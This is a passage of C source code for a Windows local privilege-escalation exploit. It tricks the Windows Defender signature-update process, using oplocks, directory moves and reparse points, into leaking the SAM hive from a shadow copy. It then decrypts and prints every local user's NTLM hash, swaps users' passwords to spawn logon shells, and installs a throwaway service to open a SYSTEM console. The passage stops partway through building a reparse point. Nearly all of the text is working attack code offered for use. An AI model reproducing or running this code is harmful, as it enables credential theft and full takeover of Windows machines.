2490  	ORHKEY hSAMhive = NULL;
2491  	ORHKEY hSYSTEMhive = NULL;
2492  	DWORD err = OROpenHive(sampath, &hSAMhive);
2493  	bool systemshelllaunched = false;
2494  	if (err)
2495  	{
2496  		printf("OROpenHive failed with error : %d\n", err);
2497  		return false;
2498  	}
2499  
2500  	unsigned char lsakey[16] = { 0 };
2501  
2502  	if (!GetLSASecretKey(lsakey))
2503  	{
2504  		printf("Failed to dump LSA secret keys.\n");
2505  		return false;
2506  	}
2507  
2508  
2509  	ORHKEY hkey = NULL;
2510  	err = OROpenKey(hSAMhive, L"SAM\\Domains\\Account", &hkey);
2511  
2512  	DWORD valuesz = 0;
2513  	err = ORGetValue(hkey, NULL, L"F", NULL, NULL, &valuesz);
2514  	if (err)
2515  	{
2516  		printf("ORGetValue failed with error : %d\n", err);
2517  		return false;
2518  	}
2519  	char* samkey = (char*)malloc(valuesz);
2520  	err = ORGetValue(hkey, NULL, L"F", NULL, samkey, &valuesz);
2521  	if (err)
2522  	{
2523  		printf("ORGetValue failed with error : %d\n", err);
2524  		return false;
2525  	}
2526  
2527  	ORCloseKey(hkey);
2528  
2529  	///////////////////////////////////////////////////////////
2530  	int passwordEncryptionKeysz = 0;
2531  	char* passwordEncryptionKey = (char*)UnprotectPasswordEncryptionKey(samkey, lsakey, &passwordEncryptionKeysz);
2532  
2533  	err = OROpenKey(hSAMhive, L"SAM\\Domains\\Account\\Users", &hkey);
2534  	if (err)
2535  	{
2536  		printf("OROpenKey failed with error : %d\n", err);
2537  		return false;
2538  	}
2539  
2540  	
2541  	DWORD subkeys = NULL;
2542  	err = ORQueryInfoKey(hkey, NULL, NULL, &subkeys, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
2543  	if (err)
2544  	{
2545  		printf("ORQueryInfoKey failed with error : %d\n", err);
2546  		return false;
2547  	}
2548  
2549  
2550  	PwdEnc** pwdenclist = (PwdEnc**)malloc(sizeof(PwdEnc*) * subkeys);
2551  	int numofentries = 0;
2552  	for (int i = 0; i < subkeys; i++)
2553  	{
2554  		DWORD keynamesz = 0x100;
2555  		wchar_t keyname[0x100] = { 0 };
2556  		err = OREnumKey(hkey, i, keyname, &keynamesz, NULL, NULL, NULL);
2557  		if (err)
2558  		{
2559  			printf("OREnumKey failed with error : %d\n", err);
2560  			return false;
2561  		}
2562  		if (_wcsicmp(keyname, L"users") == 0)
2563  			continue;
2564  		ORHKEY hkey2 = NULL;
2565  		err = OROpenKey(hkey, keyname, &hkey2);
2566  		if (err)
2567  		{
2568  			printf("OROpenKey failed with error : %d\n", err);
2569  			return false;
2570  		}
2571  		DWORD valuesz = 0;
2572  		err = ORGetValue(hkey2, NULL, L"V", NULL, NULL, &valuesz);
2573  		if (err == ERROR_FILE_NOT_FOUND)
2574  			continue;
2575  		if (err != ERROR_MORE_DATA && err != ERROR_SUCCESS) {
2576  			printf("ORGetValue failed with error : %d\n", err);
2577  			return false;
2578  		}
2579  		PwdEnc* SAMpwd = (PwdEnc*)malloc(sizeof(PwdEnc));
2580  		ZeroMemory(SAMpwd, sizeof(PwdEnc));
2581  		SAMpwd->sz = valuesz;
2582  		SAMpwd->buff = (char*)malloc(valuesz);
2583  		ZeroMemory(SAMpwd->buff, valuesz);
2584  		err = ORGetValue(hkey2, NULL, L"V", NULL, SAMpwd->buff, &valuesz);
2585  		if (err)
2586  		{
2587  			printf("ORGetValue failed with error : %d\n", err);
2588  			return false;
2589  		}
2590  		SAMpwd->rid = wcstoul(keyname, NULL, 16);
2591  
2592  		ULONG* accnameoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_USERNAME_OFFSET];
2593  		SAMpwd->username = (wchar_t*)RtlOffsetToPointer(SAMpwd->buff, *accnameoffset + SAM_DATABASE_DATA_ACCESS_OFFSET);
2594  		ULONG* usernamesz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_USERNAME_LENGTH_OFFSET];
2595  		SAMpwd->usernamesz = *usernamesz;
2596  
2597  		ULONG* LMhashoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_LM_HASH_OFFSET];
2598  		SAMpwd->LMHash = (char*)RtlOffsetToPointer(SAMpwd->buff, *LMhashoffset + SAM_DATABASE_DATA_ACCESS_OFFSET);
2599  		ULONG* LMhashsz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_LM_HASH_LENGTH_OFFSET];
2600  		SAMpwd->LMHashLenght = *LMhashsz;
2601  
2602  		ULONG* NTHashoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_NT_HASH_OFFSET];
2603  		SAMpwd->NTHash = (char*)RtlOffsetToPointer(SAMpwd->buff, *NTHashoffset + SAM_DATABASE_DATA_ACCESS_OFFSET);
2604  		ULONG* NThashsz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_NT_HASH_LENGTH_OFFSET];
2605  		SAMpwd->NTHashLenght = *NThashsz;
2606  
2607  		pwdenclist[i] = SAMpwd;
2608  		numofentries++;
2609  	}
2610  
2611  
2612  	wchar_t currentusername[UNLEN + 1] = { 0 };
2613  	DWORD usernamesz = sizeof(currentusername) / sizeof(wchar_t);
2614  	if (!GetUserName(currentusername, &usernamesz))
2615  	{
2616  		printf("Failed to get current user name, error : %d", GetLastError());
2617  		return false;
2618  	}
2619  
2620  
2621  	for (int i = 0; i < numofentries; i++)
2622  	{
2623  		PwdEnc* samentry = pwdenclist[i];
2624  		int realNTLMHashsz = 0;
2625  		char* realNTLMHash = (char*)UnprotectNTHash(passwordEncryptionKey, passwordEncryptionKeysz, samentry->NTHash, samentry->NTHashLenght, &realNTLMHashsz, samentry->rid);
2626  		char* stringntlm = 0;
2627  		char emptyrepresentation[] = "{NULL}";
2628  		if (realNTLMHashsz)
2629  		{
2630  			stringntlm = (char*)HexToHexString((unsigned char*)realNTLMHash, realNTLMHashsz);
2631  		}
2632  		else
2633  		{
2634  
2635  			stringntlm = emptyrepresentation;
2636  		}
2637  		wchar_t username[UNLEN + 1] = { 0 };
2638  		if (samentry->usernamesz <= sizeof(username))
2639  		{
2640  			memmove(username, samentry->username, samentry->usernamesz);
2641  		}
2642  		printf("******************************************\n");
2643  		printf("    User : %ws\n    RID : %d\n    NTLM : %s\n", username, samentry->rid, stringntlm);
2644  		if (realNTLMHash == NULL || realNTLMHashsz == 0) {
2645  			printf("    Skip : NULL NTLM.\n");
2646  			continue;
2647  		}
2648  		if (_wcsicmp(username, currentusername) == 0)
2649  		{
2650  			printf("    Skip : Current User.\n");
2651  			continue;
2652  		}
2653  		if (_wcsicmp(username, L"WDAGUtilityAccount") == 0)
2654  		{
2655  			printf("    Skip : WDAGUtilityAccount detected.\n");
2656  			continue;
2657  		}
2658  		
2659  			retval = realNTLMHash;
2660  
2661  			if (ChangeUserPassword(username, realNTLMHash, NULL,newNTLM))
2662  			{
2663  				printf("    NewPasswordSet : OK.\n");
2664  
2665  				HANDLE htoken = NULL;
2666  				PSID logonsid = 0;
2667  				if (!LogonUserEx(username, NULL, newpassword_unistr, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &htoken, &logonsid, NULL, NULL, NULL))
2668  				{
2669  					printf("LogonUserEx failed, error : %d\n", GetLastError());
2670  				}
2671  				if (!systemshelllaunched) {
2672  					TOKEN_ELEVATION_TYPE tokentype;
2673  					DWORD retsz = 0;
2674  					if (!GetTokenInformation(htoken, TokenElevationType, &tokentype, sizeof(tokentype), &retsz))
2675  					{
2676  						printf("GetTokenInformation failed with error : %d\n", GetLastError());
2677  					}
2678  
2679  					if (tokentype == TokenElevationTypeLimited)
2680  					{
2681  						TOKEN_LINKED_TOKEN linkedtoken = { 0 };
2682  
2683  
2684  						if (!GetTokenInformation(htoken, TokenLinkedToken, &linkedtoken, sizeof(TOKEN_LINKED_TOKEN), &retsz))
2685  						{
2686  							printf("GetTokenInformation failed with error : %d\n", GetLastError());
2687  						}
2688  
2689  						HANDLE hdup = linkedtoken.LinkedToken;
2690  
2691  						DWORD sidsz = MAX_SID_SIZE;
2692  						PSID administratorssid = malloc(sidsz);
2693  
2694  						if (!CreateWellKnownSid(WinBuiltinAdministratorsSid, NULL, administratorssid, &sidsz))
2695  						{
2696  							printf("Failed to create well known sid, error : %d\n", GetLastError());
2697  						}
2698  
2699  
2700  
2701  						if (!CheckTokenMembership(hdup, administratorssid, (PBOOL)&isadmin))
2702  						{
2703  							printf("CheckTokenMembership failed with error : %d\n", GetLastError());
2704  						}
2705  						free(administratorssid);
2706  
2707  						CloseHandle(hdup);
2708  					}
2709  
2710  					if (isadmin)
2711  					{
2712  
2713  
2714  
2715  
2716  						printf("    IsAdmin : TRUE\n");
2717  						HANDLE htoken2 = NULL;
2718  						if (!LogonUserEx(username, NULL, newpassword_unistr, LOGON32_LOGON_BATCH, LOGON32_PROVIDER_DEFAULT, &htoken2, &logonsid, NULL, NULL, NULL))
2719  						{
2720  							printf("LogonUserEx failed, error : %d\n", GetLastError());
2721  						}
2722  						//SetPrivilege(htoken2, SE_DEBUG_NAME, TRUE);
2723  						const wchar_t sid_string[] = L"S-1-16-8192";
2724  						TOKEN_MANDATORY_LABEL integrity;
2725  						PSID  sid = NULL;
2726  						ConvertStringSidToSidW(sid_string, &sid);
2727  						ZeroMemory(&integrity, sizeof(integrity));
2728  						integrity.Label.Attributes = SE_GROUP_INTEGRITY;
2729  						integrity.Label.Sid = sid;
2730  						if (SetTokenInformation(htoken2, TokenIntegrityLevel, &integrity, sizeof(integrity) + GetLengthSid(sid)) == 0) {
2731  							wprintf(L"ERROR[SetTokenInformation]: %d\n", GetLastError());
2732  						}
2733  						LocalFree(sid);
2734  						//CloseHandle(htoken2);
2735  
2736  						ImpersonateLoggedOnUser(htoken2);
2737  
2738  
2739  						SC_HANDLE hmgr = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
2740  						if (!hmgr)
2741  						{
2742  							printf("OpenSCManager failed with error : %d", GetLastError());
2743  						}
2744  
2745  						GUID uid = { 0 };
2746  						RPC_WSTR wuid = { 0 };
2747  						wchar_t* wuid2 = 0;
2748  
2749  						UuidCreate(&uid);
2750  						UuidToStringW(&uid, &wuid);
2751  						wuid2 = (wchar_t*)wuid;
2752  
2753  						wchar_t binpath[MAX_PATH] = { 0 };
2754  						GetModuleFileName(GetModuleHandle(NULL), binpath, MAX_PATH);
2755  						wchar_t servicecmd[MAX_PATH] = { 0 };
2756  						DWORD currentsesid = 0;
2757  						ProcessIdToSessionId(GetCurrentProcessId(), &currentsesid);
2758  						wsprintf(servicecmd, L"\"%s\" %d", binpath, currentsesid);
2759  
2760  						SC_HANDLE hsvc = CreateService(hmgr, wuid2, wuid2, GENERIC_ALL, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, servicecmd, NULL, NULL, NULL, NULL, NULL);
2761  						if (!hsvc)
2762  						{
2763  							printf("CreateService Failed with error : %d\n", GetLastError());
2764  						}
2765  						else {
2766  							printf("    SYSTEMShell : OK.\n");
2767  						}
2768  
2769  						StartService(hsvc, NULL, NULL);
2770  						Sleep(100);
2771  						DeleteService(hsvc);
2772  						CloseServiceHandle(hsvc);
2773  						CloseServiceHandle(hmgr);
2774  						RevertToSelf();
2775  						CloseHandle(htoken2);
2776  						systemshelllaunched = true;
2777  					}
2778  					else {
2779  						printf("    IsAdmin : FALSE\n");
2780  					}
2781  
2782  
2783  				}
2784  
2785  				STARTUPINFO si = { 0 };
2786  				PROCESS_INFORMATION pi = { 0 };
2787  				if (!CreateProcessWithLogonW(username, NULL, newpassword_unistr, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\conhost.exe", NULL, CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT, NULL, NULL, &si, &pi))
2788  				{
2789  					printf("    Shell : Error %d\n", GetLastError());
2790  				}
2791  				else {
2792  					printf("    Shell : OK.\n");
2793  					if (pi.hProcess)
2794  						CloseHandle(pi.hProcess);
2795  					if (pi.hThread)
2796  						CloseHandle(pi.hThread);
2797  				}
2798  
2799  				if (!ChangeUserPassword(username, newNTLM, NULL, realNTLMHash))
2800  				{
2801  					printf("    PasswordRestore : Error %d\n", GetLastError());
2802  				}
2803  				
2804  				else {
2805  					printf("    PasswordRestore : OK.\n");
2806  				}
2807  				CloseHandle(htoken);
2808  			}
2809  			
2810  			// __debugbreak();
2811  
2812  
2813  		
2814  	}
2815  
2816  	ORCloseHive(hSAMhive);
2817  	printf("******************************************\n");
2818  	free(newNTLM);
2819  	return true;
2820  
2821  
2822  
2823  }
2824  
2825  bool IsRunningAsLocalSystem()
2826  {
2827  
2828  	HANDLE htoken = NULL;
2829  	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htoken)) {
2830  		printf("OpenProcessToken failed, error : %d\n", GetLastError());
2831  		return false;
2832  	}
2833  	TOKEN_USER* tokenuser = (TOKEN_USER*)malloc(MAX_SID_SIZE + sizeof(TOKEN_USER));
2834  	DWORD retsz = 0;
2835  	bool res = GetTokenInformation(htoken, TokenUser, tokenuser, MAX_SID_SIZE + sizeof(TOKEN_USER), &retsz);
2836  	CloseHandle(htoken);
2837  	if (!res)
2838  		return false;
2839  
2840  	return IsWellKnownSid(tokenuser->User.Sid, WinLocalSystemSid);
2841  }
2842  
2843  void LaunchConsoleInSessionId(DWORD sessionid)
2844  {
2845  	HANDLE htoken = NULL;
2846  	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &htoken))
2847  		return;
2848  	
2849  	SetPrivilege(htoken, SE_TCB_NAME, TRUE);
2850  	SetPrivilege(htoken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE);
2851  	SetPrivilege(htoken, SE_IMPERSONATE_NAME, TRUE);
2852  	SetPrivilege(htoken, SE_DEBUG_NAME, TRUE);
2853  
2854  	HANDLE hnewtoken = NULL;
2855  	bool res = DuplicateTokenEx(htoken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hnewtoken);
2856  	CloseHandle(htoken);
2857  	if (!res)
2858  		return;
2859  	
2860  	res = SetTokenInformation(hnewtoken, TokenSessionId, &sessionid, sizeof(DWORD));
2861  	if (!res)
2862  	{
2863  		CloseHandle(hnewtoken);
2864  		return;
2865  	}
2866  
2867  	STARTUPINFO si = { 0 };
2868  	PROCESS_INFORMATION pi = { 0 };
2869  	CreateProcessAsUser(hnewtoken, L"C:\\Windows\\System32\\conhost.exe", NULL, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
2870  
2871  	CloseHandle(hnewtoken);
2872  
2873  	if (pi.hProcess)
2874  		CloseHandle(pi.hProcess);
2875  	if (pi.hThread)
2876  		CloseHandle(pi.hThread);
2877  	return;
2878  
2879  }
2880  
2881  int wmain(int argc, wchar_t* argv[])
2882  {
2883  
2884  	
2885  	if (IsRunningAsLocalSystem())
2886  	{
2887  		printf("Running as local system.\n");
2888  		if (argc == 2)
2889  		{
2890  			DWORD sessionid = _wtoi(argv[1]);
2891  			if (sessionid) {
2892  				printf("Session id : %d\n", sessionid);
2893  				LaunchConsoleInSessionId(sessionid);
2894  			}
2895  		}
2896  		return 0;
2897  	}
2898  	
2899  
2900  	const wchar_t* filestoleak[] = { {L"\\Windows\\System32\\Config\\SAM"}
2901  	/*,{L"\\Windows\\System32\\Config\\SYSTEM"},{L"\\Windows\\System32\\Config\\SECURITY"}*/
2902  	};
2903  	wchar_t fullvsspath[MAX_PATH] = { 0 };
2904  	HANDLE hreleaseready = NULL;
2905  	wchar_t updtitle[0x200] = { 0 };
2906  	wchar_t targetfile[MAX_PATH] = { 0 };
2907  	wchar_t copiedfilepath[MAX_PATH] = { 0 };
2908  	/*
2909  	if (argc >= 2) {
2910  		wcscpy(targetfile, argv[1]);
2911  		printf("Target file : \"%ws\"\n", targetfile);
2912  	}
2913  	else {
2914  		
2915  		wcscpy(targetfile, L"C:\\Windows\\System32\\Config\\ELAM");
2916  		printf("No source file specified, \"%ws\" will be used.\n", targetfile);
2917  	}
2918  	if (argc > 2) {
2919  		wcscpy(copiedfilepath, argv[2]);
2920  		printf("Copy file path : \"%ws\"\n", copiedfilepath);
2921  	}
2922  	else
2923  	{
2924  
2925  		printf("No file path was specified for file copy, \"%ws\" will be used.\n", copiedfilepath);
2926  	}
2927  
2928  	HANDLE hcheck = CreateFile(copiedfilepath, GENERIC_WRITE | DELETE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_DELETE_ON_CLOSE, NULL);
2929  	if (!hcheck || hcheck == INVALID_HANDLE_VALUE)
2930  	{
2931  		printf("Cannot open file to copy leaked file to, please specify a different path");
2932  		return 0;
2933  	}
2934  	CloseHandle(hcheck);
2935  	hcheck = CreateFile(targetfile, FILE_READ_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
2936  	if (hcheck && hcheck != INVALID_HANDLE_VALUE)
2937  	{
2938  		printf("Target file can be opened for read access, exiting.");
2939  		CloseHandle(hcheck);
2940  		return 0;
2941  	}
2942  	DWORD lasterr = GetLastError();
2943  	if(lasterr == ERROR_FILE_NOT_FOUND || lasterr == ERROR_PATH_NOT_FOUND)
2944  	{
2945  		printf("Target file does not exist.\n");
2946  		return 0;
2947  	}
2948  	*/
2949  	wchar_t nttargetfile[MAX_PATH] = { 0 };
2950  	//wcscpy(nttargetfile, L"\\??\\");
2951  	//wcscat(nttargetfile, targetfile);
2952  
2953  	wchar_t* filestodel[100] = { 0 };
2954  	HINTERNET hint = NULL;
2955  	HINTERNET hint2 = NULL;
2956  	char data[0x1000] = { 0 };
2957  	DWORD index = 0;
2958  	DWORD sz = sizeof(data);
2959  	bool res2 = 0;
2960  	wchar_t filesz[50] = { 0 };
2961  	LARGE_INTEGER li = { 0 };
2962  	GUID uid = { 0 };
2963  	RPC_WSTR wuid = { 0 };
2964  	wchar_t* wuid2 = 0;
2965  	wchar_t envstr[MAX_PATH] = { 0 };
2966  	wchar_t mpampath[MAX_PATH] = { 0 };
2967  	HANDLE hmpap = NULL;
2968  	void* exebuff = NULL;
2969  	DWORD readsz = 0;
2970  	HANDLE hmapping = NULL;
2971  	void* mappedbuff = NULL;
2972  	HRSRC hres = NULL;
2973  	DWORD ressz = NULL;
2974  	HGLOBAL cabbuff = NULL;
2975  	wchar_t cabpath[MAX_PATH] = { 0 };
2976  	wchar_t updatepath[MAX_PATH] = { 0 };
2977  	HANDLE hcab = NULL;
2978  	ERF erfstruct = { 0 };
2979  	HFDI hcabctx = NULL;
2980  	char _updatepath[MAX_PATH] = { 0 };
2981  	bool extractres = false;
2982  	char buff[0x1000] = { 0 };
2983  	DWORD retbytes = 0;
2984  	DWORD tid = 0;
2985  	HANDLE hthread = NULL;
2986  	WDRPCWorkerThreadArgs threadargs = { 0 };
2987  	HANDLE hcurrentthread = NULL;
2988  	HANDLE hdir = NULL;
2989  	wchar_t newdefupdatedirname[MAX_PATH] = { 0 };
2990  	wchar_t updatelibpath[MAX_PATH] = { 0 };
2991  	UNICODE_STRING unistrupdatelibpath = { 0 };
2992  	OBJECT_ATTRIBUTES objattr = { 0 };
2993  	IO_STATUS_BLOCK iostat = { 0 };
2994  	HANDLE hupdatefile = NULL;
2995  	NTSTATUS ntstat = 0;
2996  	OVERLAPPED ovd = { 0 };
2997  	DWORD transfersz = 0;
2998  	wchar_t newname[MAX_PATH] = { 0 };
2999  	DWORD renstructsz = 0;
3000  	UNICODE_STRING objlinkname = { 0 };
3001  	UNICODE_STRING objlinktarget = { 0 };
3002  	FILE_RENAME_INFO* fri = 0;
3003  	wchar_t wreparsedirpath[MAX_PATH] = { 0 };
3004  	UNICODE_STRING reparsedirpath = { 0 };
3005  	HANDLE hreparsedir = NULL;
3006  	wchar_t newtmp[MAX_PATH] = { 0 };
3007  	wchar_t rptarget[MAX_PATH] = { 0 };
3008  	wchar_t printname[1] = { L'\0' };
3009  	size_t targetsz = 0;
3010  	size_t printnamesz = 0;
3011  	size_t pathbuffersz = 0;
3012  	size_t totalsz = 0;
3013  	REPARSE_DATA_BUFFER* rdb = 0;
3014  	DWORD cb = 0;
3015  	OVERLAPPED ov = { 0 };
3016  	bool ret = false;
3017  	DWORD retsz = 0;
3018  	HANDLE hleakedfile = NULL;
3019  	HANDLE hobjlink = NULL;
3020  	LARGE_INTEGER _filesz = { 0 };
3021  	OVERLAPPED ovd2 = { 0 };
3022  	DWORD __readsz = 0;
3023  	void* leakedfilebuff = 0;
3024  	bool filelocked = false;
3025  	bool needcabcleanup = false;
3026  	bool dirmoved = false;
3027  	bool needupdatedircleanup = false;
3028  	UpdateFiles* UpdateFilesList = NULL;
3029  	UpdateFiles* UpdateFilesListCurrent = NULL;
3030  	bool isvssready = false;
3031  	bool criterr = false;
3032  
3033  
3034  	try {
3035  
3036  		printf("Checking for windows defender signature updates...\n");
3037  		while (!CheckForWDUpdates(updtitle, &criterr)){
3038  
3039  			if (criterr)
3040  				goto cleanup;
3041  			printf("No updates found for windows defender. Recheking in 30 seconds...\n");
3042  			Sleep(30000);
3043  
3044  		}
3045  		printf("Found Update : \n%ws\n", updtitle);
3046  
3047  		UpdateFilesList = GetUpdateFiles();
3048  		if (!UpdateFilesList)
3049  		{
3050  			goto cleanup;
3051  		}
3052  		printf("Updates downloaded.\n");
3053  
3054  
3055  		printf("Creating VSS copy...\n");
3056  		hreleaseready = CreateEvent(NULL, FALSE, FALSE, NULL);
3057  		if (!hreleaseready)
3058  		{
3059  			printf("Failed to create event error : %d\n", GetLastError());
3060  			goto cleanup;
3061  		}
3062  			
3063  
3064  		isvssready = TriggerWDForVS(hreleaseready, fullvsspath);
3065  		if (!isvssready)
3066  			goto cleanup;
3067  
3068  		for (int x = 0; x < sizeof(filestoleak) / sizeof(wchar_t*); x++)
3069  		{
3070  			UpdateFilesListCurrent = UpdateFilesList;
3071  			UuidCreate(&uid);
3072  			UuidToStringW(&uid, &wuid);
3073  			wuid2 = (wchar_t*)wuid;
3074  			wcscpy(envstr, L"%TEMP%\\");
3075  			wcscat(envstr, wuid2);
3076  			ExpandEnvironmentStrings(envstr, updatepath, MAX_PATH);
3077  			needupdatedircleanup = CreateDirectory(updatepath, NULL);
3078  			if (!needupdatedircleanup)
3079  			{
3080  				printf("Failed to create update directory, error : %d", GetLastError());
3081  				goto cleanup;
3082  			}
3083  			printf("Created update directory %ws\n", updatepath);
3084  			while (UpdateFilesListCurrent)
3085  			{
3086  				wchar_t filepath[MAX_PATH] = { 0 };
3087  				//wchar_t filename[MAX_PATH] = { 0 };
3088  				wcscpy(filepath, updatepath);
3089  				wcscat(filepath, L"\\");
3090  				MultiByteToWideChar(CP_ACP, NULL, UpdateFilesListCurrent->filename, -1, &filepath[lstrlenW(filepath)], MAX_PATH - lstrlenW(filepath));
3091  
3092  
3093  				HANDLE hupdate = CreateFile(filepath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, NULL, NULL);
3094  
3095  				if (!hupdate || hupdate == INVALID_HANDLE_VALUE)
3096  				{
3097  					printf("Failed to create update file, error : %d", GetLastError());
3098  					goto cleanup;
3099  				}
3100  				UpdateFilesListCurrent->filecreated = true;
3101  				DWORD writtenbytes = 0;
3102  				if (!WriteFile(hupdate, UpdateFilesListCurrent->filebuff, UpdateFilesListCurrent->filesz, &writtenbytes, NULL))
3103  				{
3104  					printf("Failed to write update file, error : %d", GetLastError());
3105  					CloseHandle(hupdate);
3106  					goto cleanup;
3107  				}
3108  				CloseHandle(hupdate);
3109  				printf("Created update file : %ws\n", filepath);
3110  				UpdateFilesListCurrent = UpdateFilesListCurrent->next;
3111  
3112  			}
3113  
3114  			hdir = CreateFile(L"C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED, NULL);
3115  			if (!hdir || hdir == INVALID_HANDLE_VALUE)
3116  			{
3117  				printf("Failed to open definition updates directory, error : %d", GetLastError());
3118  				goto cleanup;
3119  			}
3120  
3121  			hcurrentthread = OpenThread(THREAD_ALL_ACCESS, NULL, GetCurrentThreadId());
3122  			if (!hcurrentthread)
3123  			{
3124  				printf("Unexpected error while opening current thread, error : %d", GetLastError());
3125  				goto cleanup;
3126  			}
3127  			threadargs.dirpath = updatepath;
3128  			threadargs.hntfythread = hcurrentthread;
3129  			threadargs.hevent = CreateEvent(NULL, FALSE, FALSE, NULL);
3130  			hthread = CreateThread(NULL, NULL, WDCallerThread, (LPVOID)&threadargs, NULL, &tid);
3131  
3132  			printf("Waiting for windows defender to create a new definition update directory...\n");
3133  			wcscpy(newdefupdatedirname, L"C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\");
3134  			do {
3135  				ZeroMemory(buff, sizeof(buff));
3136  				OVERLAPPED od = { 0 };
3137  				od.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
3138  				ReadDirectoryChangesW(hdir, buff, sizeof(buff), TRUE, FILE_NOTIFY_CHANGE_DIR_NAME, &retbytes, &od, NULL);
3139  				HANDLE events[2] = { od.hEvent, threadargs.hevent };
3140  				if (WaitForMultipleObjects(2, events, FALSE, INFINITE) - WAIT_OBJECT_0)
3141  				{
3142  					printf("ServerMpUpdateEngineSignature ALPC call ended unexpectedly, RPC_STATUS : 0x%0.8X\n", threadargs.res);
3143  					goto cleanup;
3144  				}
3145  				CloseHandle(od.hEvent);
3146  
3147  				PFILE_NOTIFY_INFORMATION pfni = (PFILE_NOTIFY_INFORMATION)buff;
3148  				if (pfni->Action != FILE_ACTION_ADDED)
3149  					continue;
3150  
3151  				wcscat(newdefupdatedirname, pfni->FileName);
3152  				break;
3153  			} while (1);
3154  			printf("Detected new definition update directory in %ws\n", newdefupdatedirname);
3155  
3156  			wcscpy(updatelibpath, L"\\??\\");
3157  			wcscat(updatelibpath, updatepath);
3158  			wcscat(updatelibpath, L"\\mpasbase.vdm");
3159  
3160  			RtlInitUnicodeString(&unistrupdatelibpath, updatelibpath);
3161  			InitializeObjectAttributes(&objattr, &unistrupdatelibpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
3162  
3163  			ntstat = NtCreateFile(&hupdatefile, GENERIC_READ | DELETE | SYNCHRONIZE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_DELETE_ON_CLOSE, NULL, NULL);
3164  			if (ntstat)
3165  			{
3166  				printf("Failed to open update library, ntstatus : 0x%0.8X", ntstat);
3167  				goto cleanup;
3168  			}
3169  			printf("Setting oplock on %ws\n", updatelibpath);
3170  
3171  			ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
3172  			DeviceIoControl(hupdatefile, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);
3173  
3174  			if (GetLastError() != ERROR_IO_PENDING)
3175  			{
3176  				printf("Failed to request a batch oplock on the update file, error : %d", GetLastError());
3177  				goto cleanup;
3178  			}
3179  			printf("Waiting for oplock to trigger...\n");
3180  			GetOverlappedResult(hupdatefile, &ovd, &transfersz, TRUE);
3181  			printf("oplock triggered !\n");
3182  
3183  			//
3184  
3185  			wcscpy(newname, updatepath);
3186  			wcscat(newname, L".WDFOO");
3187  			renstructsz = sizeof(FILE_RENAME_INFO) + wcslen(newname) * sizeof(wchar_t) + sizeof(wchar_t);
3188  			fri = (FILE_RENAME_INFO*)malloc(renstructsz);
3189  			ZeroMemory(fri, renstructsz);
3190  			fri->ReplaceIfExists = TRUE;
3191  			fri->FileNameLength = wcslen(newname) * sizeof(wchar_t);
3192  			wcscpy(&fri->FileName[0], newname);
3193  			if (!SetFileInformationByHandle(hupdatefile, FileRenameInfo, fri, renstructsz))
3194  			{
3195  				printf("Failed to move file from %ws to %ws error : %d", updatelibpath, newname, GetLastError());
3196  				goto cleanup;
3197  			}
3198  			free(fri);
3199  			fri = NULL;
3200  			printf("File moved  %ws to %ws\n", updatelibpath, newname);
3201  			//
3202  
3203  
3204  			wcscpy(newtmp, updatepath);
3205  			wcscat(newtmp, L".foo");
3206  			if (!MoveFile(updatepath, newtmp))
3207  			{
3208  				printf("Failed to move %ws to %ws, error : %d", updatepath, newtmp, GetLastError());
3209  				goto cleanup;
3210  			}
3211  			dirmoved = true;
3212  			printf("Directory moved %ws to %ws\n", updatepath, newtmp);
3213  
3214  			wcscpy(wreparsedirpath, L"\\??\\");
3215  			wcscat(wreparsedirpath, updatepath);
3216  
3217  			RtlInitUnicodeString(&reparsedirpath, wreparsedirpath);
3218  			InitializeObjectAttributes(&objattr, &reparsedirpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
3219  
3220  			ntstat = NtCreateFile(&hreparsedir, GENERIC_WRITE | DELETE | SYNCHRONIZE, &objattr, &iostat, NULL, NULL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_CREATE, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT | FILE_DELETE_ON_CLOSE, NULL, NULL);
3221  			if (ntstat)
3222  			{
3223  				printf("Failed to recreate update directory, error : 0x%0.8X", ntstat);
3224  				goto cleanup;
3225  			}
3226  			printf("Recreated %ws\n", updatepath);
3227  
3228  
3229  			wcscpy(rptarget, L"\\BaseNamedObjects\\Restricted");
3230  			targetsz = wcslen(rptarget) * 2;
3231  			printnamesz = 1 * 2;
3232  			pathbuffersz = targetsz + printnamesz + 12;
